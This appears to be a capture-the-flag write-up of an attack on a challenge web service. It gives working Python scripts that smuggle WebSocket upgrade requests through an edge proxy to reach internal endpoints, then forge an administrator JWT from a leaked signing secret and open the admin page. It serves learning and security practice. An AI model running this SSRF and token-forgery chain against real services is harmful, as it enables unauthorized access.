Загрузка данных


## Internal Endpoint Discovery

Fetching the internal OpenAPI document disclosed two useful routes:

- /api/v1/internal/debug/config
- /api/v1/internal/session-template

The first route exposed the session cookie name, JWT issuer, HS256 algorithm, signing secret, and administrator identity. The second disclosed the precise claims expected for an administrator session. This removed guesswork about both token construction and authorization semantics.

The following script sends arbitrary absolute-form upgrade requests through the public edge:

#!/usr/bin/env python3
import socket
import sys

EDGE_HOST = "tasks.duckerz.ru"
EDGE_PORT = 30079
destination = sys.argv[1] if len(sys.argv) > 1 else "http:///openapi.json"

request = (
    f"GET {destination} HTTP/1.1\r\n"
    f"Host: {EDGE_HOST}:{EDGE_PORT}\r\n"
    "Connection: Upgrade\r\n"
    "Upgrade: websocket\r\n"
    "Sec-WebSocket-Version: 13\r\n"
    "Sec-WebSocket-Key: Y3RmLXdzLXNzcmYtcHJvYmU=\r\n"
    "\r\n"
).encode()

with socket.create_connection((EDGE_HOST, EDGE_PORT), timeout=8) as sock:
    sock.sendall(request)
    sock.settimeout(8)
    chunks = []
    try:
        while sum(map(len, chunks)) < 128 * 1024:
            chunk = sock.recv(8192)
            if not chunk:
                break
            chunks.append(chunk)
    except socket.timeout:
        pass

sys.stdout.buffer.write(b"".join(chunks))

Reproduce the internal requests with:

python3 ws_ssrf.py 'http:///openapi.json'
python3 ws_ssrf.py 'http:///api/v1/internal/debug/config'
python3 ws_ssrf.py 'http:///api/v1/internal/session-template'

## Forging the Administrative JWT

The leaked configuration specified:

- Cookie name: ops_session
- Algorithm: HS256
- Issuer: northstar-release
- Signing secret: northstar-release-secret-435656
- Administrator identity: release-admin@duckerz.task

The session template required sub, email, role, iss, iat, and exp. A fresh token was generated with current timestamps rather than replaying the expired template:

#!/usr/bin/env python3
import base64
import hashlib
import hmac
import json
import time

SECRET = b"northstar-release-secret-435656"

def enc(value):
    raw = json.dumps(value, separators=(",", ":")).encode()
    return base64.urlsafe_b64encode(raw).rstrip(b"=")

now = int(time.time())
header = enc({"alg": "HS256", "typ": "JWT"})
payload = enc({
    "sub": "release-admin@duckerz.task",
    "email": "release-admin@duckerz.task",
    "role": "admin",
    "iss": "northstar-release",
    "iat": now,
    "exp": now + 3600,
})

message = header + b"." + payload
signature = base64.urlsafe_b64encode(
    hmac.new(SECRET, message, hashlib.sha256).digest()
).rstrip(b"=")
print((message + b"." + signature).decode())

Use the generated token as the disclosed cookie:

TOKEN="$(python3 forge_admin_jwt.py)"
curl -i -sS -H "Cookie: ops_session=${TOKEN}" \
  'http://tasks.duckerz.ru:30079/admin'

The response changed from the unauthenticated 307 redirect to 200 OK, used X-Powered-By: Next.js, and rendered the privileged editorial report containing the challenge flag.